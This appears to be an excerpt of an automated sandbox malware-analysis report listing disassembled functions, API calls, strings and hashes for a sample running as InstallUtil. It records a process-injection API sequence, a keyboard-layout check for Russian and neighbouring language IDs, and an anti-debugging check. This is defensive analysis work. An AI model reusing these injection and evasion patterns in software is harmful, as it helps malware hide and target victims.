Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: D4E04632911228EBCB24DB9DC946A8AB2ACEB48B04F15009AB601E3250C374DE00C7D4

Function 0043CCBD Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

api-ms-, xrefs: 0043CD14
ext-ms-, xrefs: 0043CD28

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 25db076a1b424bc6593ed8ad6a874b3509db5a5368a07dfb2c9f4840420301f2
Instruction ID: a445fedf376f346623ef21a49cf7319108c5936bfb179036d5b4a2769ba1a4c0
Opcode Fuzzy Hash: 25db076a1b424bc6593ed8ad6a874b3509db5a5368a07dfb2c9f4840420301f2
Instruction Fuzzy Hash: 9A21F635A01310ABDB224B699CC1A2B3A589B09B64F212173F906BB391D778EC00CBDD

Function 0043CD84 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a2aed0f9e6827f9463ae46dd71cef7ea9882a54a38e48923e86ef4911c9aca
Instruction ID: 2ccd3dfc8ac9fcf4fb25b90259faf7a25d2cd57f8c8321894957dd57fc44a1f5
Opcode Fuzzy Hash: 52a2aed0f9e6827f9463ae46dd71cef7ea9882a54a38e48923e86ef4911c9aca
Instruction Fuzzy Hash: B8012D37304221AF9F158E6AEC8199B3796EBCD734B145132FA05DB254EA34D80197DA

Non-executed Functions

Function 00407890 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 121
memoryprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004078BD
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 0040791B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00407934
GetThreadContext.KERNEL32(?,00000000), ref: 00407949
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 00407969
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 004079AB
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 004079C8
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00407A81

Strings

invalid stoi argument, xrefs: 00407880
, xrefs: 00407960
VUUU, xrefs: 00407731

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ProcessVirtual$AllocMemory$ContextCreateFileFreeModuleNameReadThreadWrite
String ID: $VUUU$invalid stoi argument
API String ID: 3796053839-3954507777
Opcode ID: e5bd613f770b2afbd35500bcbf514d283c92756ad93279c1c63a26cce198e68f
Instruction ID: 28dd6dca51e73727981b106a56b1783a95cc414ec94ee58e35df2381dafcb0df
Opcode Fuzzy Hash: e5bd613f770b2afbd35500bcbf514d283c92756ad93279c1c63a26cce198e68f
Instruction Fuzzy Hash: B7417D71648301BFE7209F60DD06F5BBBE8BF89B05F40042AB744A61E0D7B4E904CB9A

Function 0040C140 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 130comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040C1A7
CoCreateInstance.OLE32(0045B068,00000000,00000001,0045B078,?), ref: 0040C1C3
CoUninitialize.OLE32 ref: 0040C1D1
CoUninitialize.OLE32 ref: 0040C290
CoUninitialize.OLE32 ref: 0040C2A4

Strings

, xrefs: 0040CDBA
invalid stoi argument, xrefs: 0040FAE4
stoi argument out of range, xrefs: 0040FADA
(, xrefs: 0040CE5B

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Uninitialize$CreateInitializeInstance
String ID: $($invalid stoi argument$stoi argument out of range
API String ID: 1968832861-2618398775
Opcode ID: d240d68db88d28e8c2c3b2f4f422ed90964b94aea3e5cc64ea5c058cf0798c8c
Instruction ID: 8d068833e2e8d0e705a14ca2d2c9e47c361b9b8ff39bb826818733a1bd69017f
Opcode Fuzzy Hash: d240d68db88d28e8c2c3b2f4f422ed90964b94aea3e5cc64ea5c058cf0798c8c
Instruction Fuzzy Hash: 0241E431A00104DFDB04CFA8CD84BAE77B5EF49715F10422EE805E76D1D778A940CBA9

Function 004229C3 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00422AC6
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00422B12

Part of subcall function 0042420D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00424300

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00422B7E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00422B9A
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00422BEE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00422C1B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00422C71

Strings

(, xrefs: 00422AD2

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: ab87f8840e7c2c475766e2c1dc843e23fc7829b9b1225f44ab8d562468e0c230
Instruction ID: 660b76d270ea84d0e1644bca40027a78e58d59707e9aa14b540c307fd788a011
Opcode Fuzzy Hash: ab87f8840e7c2c475766e2c1dc843e23fc7829b9b1225f44ab8d562468e0c230
Instruction Fuzzy Hash: 7FB17F70A00626AFCB18CF59EA80A7EB7B4FB44304F54416EE405AB751D7B8BD81CB99

Function 004231B2 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004248AC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 004248BF

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 004231C4

Part of subcall function 004249BF: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 004249E9
Part of subcall function 004249BF: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00424A58

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 004232F6
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00423356
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00423362
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 0042339D
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 004233BE
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 004233CA
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 004233D3
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 004233EB

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: bf966c5094f8682a713ac53f1ece9b53f1db733a84ed8659f4acade19ace728b
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: A1817B71B00225DFCB18CFA9D584A6EB7F1FF48305B5546AED805A7701CB78AE42CB98

Function 00444057 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004440D9
_free.LIBCMT ref: 004440FD
_free.LIBCMT ref: 0044428A
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,004587B8), ref: 0044429C
_free.LIBCMT ref: 00444456

Strings

UDD, xrefs: 00444245, 00444360, 0044424B

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID: UDD
API String ID: 597776487-1888631489
Opcode ID: e44ebf4f1a83259b56b26f6d27888de038646a94e26db93319b1ac7933e18e49
Instruction ID: 226adba1e5a722e3fa8519e8f48fb05f84e9dfbe8e139248f14b3a0ad2f41832
Opcode Fuzzy Hash: e44ebf4f1a83259b56b26f6d27888de038646a94e26db93319b1ac7933e18e49
Instruction Fuzzy Hash: E3C15B71A002059BFB209F69DC85BAABBB8AF95354F2401AFE550A7341EB788E41C75C

Function 004307F8 Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00430831

Part of subcall function 0042AADF: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0042AB00

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00430897
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 004308AF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 004308BC

Part of subcall function 0043035F: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00430387
Part of subcall function 0043035F: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0043041F
Part of subcall function 0043035F: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00430429
Part of subcall function 0043035F: Concurrency::location::_Assign.LIBCMT ref: 0043045D
Part of subcall function 0043035F: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00430465

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: a0868d064603c6c26d793bae6db64081321f9d68fad0b0998c52f4d25d76f4e7
Instruction ID: d1c0e22a5df63a39ad4225d873930192fb790c41eb839bba76950674c7f6a49c
Opcode Fuzzy Hash: a0868d064603c6c26d793bae6db64081321f9d68fad0b0998c52f4d25d76f4e7
Instruction Fuzzy Hash: 0851F971A00205DBDF14EF51C865BAEB775AF48304F14416EE9053B383CB74AE06CB99

Function 00444850 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 450COMMON

Download Yara Rule

Strings

^D, xrefs: 0044486B, 004449F4, 00444C1D, 00444BB7, 00444A43, 004449C9
^D, xrefs: 00444C77, 00444AB5, 00444ABD

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID:
String ID: ^D$^D
API String ID: 0-3859544854
Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction ID: dd346e7bfd2afb123fe7a7e012177ae67f873e9ce7dd545935b95b0cf5f87e0e
Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction Fuzzy Hash: 81F14E71E012199FEF14CFA9C9807AEB7B1FF88314F15826AD819AB344D735AE01CB94

Function 004165D0 Relevance: 6.5, APIs: 4, Instructions: 510COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Name$AccountAuthorityIdentifierLookupUser
String ID:
API String ID: 4269030319-0
Opcode ID: 4b685365ace4b5dd59aa47267f10e5fb8ca2de1ea84fad1392ef1f8ea50211ef
Instruction ID: bfdfcfefbbf57757b3984e2e54b042f5309b13678d1cd50ff354786977b131e2
Opcode Fuzzy Hash: 4b685365ace4b5dd59aa47267f10e5fb8ca2de1ea84fad1392ef1f8ea50211ef
Instruction Fuzzy Hash: 8622C0B0D042589BEB11EB24CD5A7CEBBB59B51308F5440EDD009672C2EB795F88CF96

Function 00408520 Relevance: 6.4, APIs: 4, Instructions: 388libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,C4066FA1), ref: 0040859A
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004085FB
GetProcAddress.KERNEL32(00000000), ref: 00408602
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004086C7

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: AddressHandleInfoModuleProcSystemVersion
String ID:
API String ID: 1456109104-0
Opcode ID: 25ebf52c2da25378ff76e2f77ed263c058eed05285146ecf4e7d8cc0da4272ea
Instruction ID: 9cc11c1d6c28baf7379e0c4574531e66137e40d7648910bfca232f3ce65ffd77
Opcode Fuzzy Hash: 25ebf52c2da25378ff76e2f77ed263c058eed05285146ecf4e7d8cc0da4272ea
Instruction Fuzzy Hash: 0DD10870E002049BDF14BB68DD0A39E7B61AB42318F9442AFE455773C2DB7D4E858B8B

Function 0040F6B0 Relevance: 4.6, APIs: 3, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 0040F6FB
recv.WS2_32(?,?,00000008,00000000), ref: 0040F730

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: f637cd328977b9b86f096a3ebf8212b9a32abeb611839aecf34d38b9e6c5e997
Instruction ID: 007f13d5aee8e0b58d8314498b82ff89796fe061a8dfef9fe865815eea873368
Opcode Fuzzy Hash: f637cd328977b9b86f096a3ebf8212b9a32abeb611839aecf34d38b9e6c5e997
Instruction Fuzzy Hash: 5031CB719001085BD720CB69DC41BEB77A8EB0C724F540236E511F73D1E778A8498F59

Function 0043865E Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00438756
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00438760
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0043876D

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 2108c381f84c667f132b3c326795172d5a7c1f0f3b980ee52277e50728525983
Instruction ID: 5d1b6a76c1f576059af10ba5b6385714af2a5e784cfa8ee9e597f3d312b130ff
Opcode Fuzzy Hash: 2108c381f84c667f132b3c326795172d5a7c1f0f3b980ee52277e50728525983
Instruction Fuzzy Hash: D231D57490132CABCB21DF65DD897CDBBB4AF08310F5051EAE40CA7261EB749B858F49

Function 0041E79A Relevance: 3.0, APIs: 2, Instructions: 15timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0041EB02,?,00000003,00000003,?,0041EB37,?,?,?,00000003,00000003,?,0041E0AD,y/@,00000001), ref: 0041E7B3
GetSystemTimeAsFileTime.KERNEL32(?,?,?,0041EB02,?,00000003,00000003,?,0041EB37,?,?,?,00000003,00000003,?,0041E0AD), ref: 0041E7B7

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: c687fb9087fb71e6c4475b400e8823e7c9d3c71f6b97043e329e53a196f6e3aa
Instruction ID: 79f1e3935b328030194214da26d3f89a09a01179c77972883c43fce40f858420
Opcode Fuzzy Hash: c687fb9087fb71e6c4475b400e8823e7c9d3c71f6b97043e329e53a196f6e3aa
Instruction Fuzzy Hash: D2D02337501534A789011B55FC044DDBB58DB057153040033FE0543261C7A45C4047CE

Function 0041F941 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0041F957

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: ce931219428504a49b22efc3a18c37a759e9039cea6b50b0e09134ee8675cd9d
Instruction ID: b497970cbb7a568e286dbceea10b16b21d7a2f94b7a21db018ad12066b5a1e9f
Opcode Fuzzy Hash: ce931219428504a49b22efc3a18c37a759e9039cea6b50b0e09134ee8675cd9d
Instruction Fuzzy Hash: 3651C0B1E142158BDB14CF54D8913AEBBF0FB48304F24857AC904EB750E3B8A985CF59

Function 0043F750 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e7454c72830c93e5731eeb7d09311fa047c942b69b089a37eac2e885f61491a
Instruction ID: 7f4d0b782fd3b17578283935a0eb9a6a79ee69515576e2ea7b61239f10661506
Opcode Fuzzy Hash: 9e7454c72830c93e5731eeb7d09311fa047c942b69b089a37eac2e885f61491a
Instruction Fuzzy Hash: B141B771C04218AFDB24DF69CC89AAABBB8AF59304F1451EEE41CD3211DA359E848F14

Function 0041E747 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0041E75A

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: b23fb32bc7a2b80ab486b1ba1f8a5de13bdcb74b66686741564145a2c4d1f5a3
Instruction ID: 99d223310bce2ecf8357c29207fbdbbece84c590e42e9e893938a1cca2408ead
Opcode Fuzzy Hash: b23fb32bc7a2b80ab486b1ba1f8a5de13bdcb74b66686741564145a2c4d1f5a3
Instruction Fuzzy Hash: 19B09236A0693147895A2B28BD0469E77649F46E2230A016BDD15A72648B985C814BDD

Function 00420BD8 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 229
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00420E6B

Strings

pEvents, xrefs: 00420E63

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: 40fde96e8fc3d4c6b4246a3203d9739cf2925b4079e2945a24709841d29584ca
Instruction ID: 8475213281ead146aa37797d730b425857c58e949664cf51f5a2c3ff6f518cbb
Opcode Fuzzy Hash: 40fde96e8fc3d4c6b4246a3203d9739cf2925b4079e2945a24709841d29584ca
Instruction Fuzzy Hash: FB81C171E002299FCF24DFA9E881BEEB7F0AF04314F65451BE405A7243DB78A985CB59

Function 0043427E Relevance: 22.7, APIs: 15, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00434290

Part of subcall function 0043408E: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 004340B1

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 004342B1
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 004342BE
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0043430C
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00434393
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 004343A6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 004343F3

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: a9696e2c49c041ce820e1000449e67ade75230fabe1c12e9eae3c243e013da8e
Instruction ID: aa23c04cff827d8ecadf7ee621556343599abb4c8f9a794c25b678f6bb9d1078
Opcode Fuzzy Hash: a9696e2c49c041ce820e1000449e67ade75230fabe1c12e9eae3c243e013da8e
Instruction Fuzzy Hash: BB81E230A00249ABDF15DF54D940BFF7B72AF99308F04109AED506B392C73AAD25DB69

Function 00405CA0 Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 441
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0000043f, xrefs: 004061BB
00000422, xrefs: 00406159
Keyboard Layout\Preload, xrefs: 004060E4
00000423, xrefs: 0040618A
00000419, xrefs: 00406128

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 6e8961513dc3194141ede0f42b70ff220f759a714de0c0f8bba2318a2f3f3b54
Instruction ID: 46c20f24353b7db189747cfe9c5f6cc44cee5e0feabfd277e154a719e89a8f3e
Opcode Fuzzy Hash: 6e8961513dc3194141ede0f42b70ff220f759a714de0c0f8bba2318a2f3f3b54
Instruction Fuzzy Hash: 18F1D070A00208AFEF14DF54CD45BDEBBB6EF45304F5041AAE909A72C1D7B89A94CF99

Function 0042608E Relevance: 21.2, APIs: 14, Instructions: 189
timeregistryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ListArray.LIBCONCRT ref: 004260E8

Part of subcall function 00425EC9: InitializeSListHead.KERNEL32(?,?,00000000,?,?), ref: 00425F95
Part of subcall function 00425EC9: InitializeSListHead.KERNEL32(?), ref: 00425F9F

ListArray.LIBCONCRT ref: 0042611C
Hash.LIBCMT ref: 00426185
Hash.LIBCMT ref: 00426195
InitializeSListHead.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00001001), ref: 0042622A
InitializeSListHead.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00001001), ref: 00426237
InitializeSListHead.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00001001), ref: 00426244
InitializeSListHead.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00001001), ref: 00426251

Part of subcall function 0042B7F1: std::bad_exception::bad_exception.LIBCMT ref: 0042B813

RegisterWaitForSingleObject.KERNEL32(?,00000000,004295C5,?,000000FF,00000000), ref: 004262D9
Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 004262FB
GetLastError.KERNEL32(0042703B,?,?,00000000,?,?), ref: 0042630D
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 0042632A

Part of subcall function 0042175A: CreateTimerQueueTimer.KERNEL32(?,00000001,0000000A,?,?,;pB,00000008,?,0042632F,?,00000000,004295B6,?,7FFFFFFF,7FFFFFFF,00000000), ref: 00421772

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00426354

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: List$HeadInitialize$Timer$ArrayCreateHashQueueRegister$AsyncConcurrency::details::Concurrency::details::platform::__Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorLastLibraryLoadObjectSingleWaitstd::bad_exception::bad_exception
String ID:
API String ID: 2750799244-0
Opcode ID: d801d5ce88c58c4b5d77772be968d0cc44c34f6d53810913aea1b59e312a341e
Instruction ID: 1c2dc9d67ddf866ea05cc84d1c54c2fcd873753fe58b19132404a01c01289a66
Opcode Fuzzy Hash: d801d5ce88c58c4b5d77772be968d0cc44c34f6d53810913aea1b59e312a341e
Instruction Fuzzy Hash: 5D8160B0B11B62ABD718DF7598457D9FBA8BF08704F50421FF52893281CBB8A664CBD4

Function 004243E2 Relevance: 19.7, APIs: 13, Instructions: 223
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::details::ResourceManager::RetrieveSystemVersionInformation.LIBCONCRT ref: 004243F1

Part of subcall function 004256DC: GetVersionExW.KERNEL32(?), ref: 00425700
Part of subcall function 004256DC: Concurrency::details::WinRT::Initialize.LIBCONCRT ref: 0042579F

Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 00424405
Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00424426
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 0042448F
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 004244C3

Part of subcall function 0042239D: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 004223BD

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00424543

Part of subcall function 00423F0C: Concurrency::details::platform::__GetLogicalProcessorInformationEx.LIBCONCRT ref: 00423F20

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 0042458B

Part of subcall function 00422372: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 0042238E

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 0042459F
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 004245B0
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 004245FD
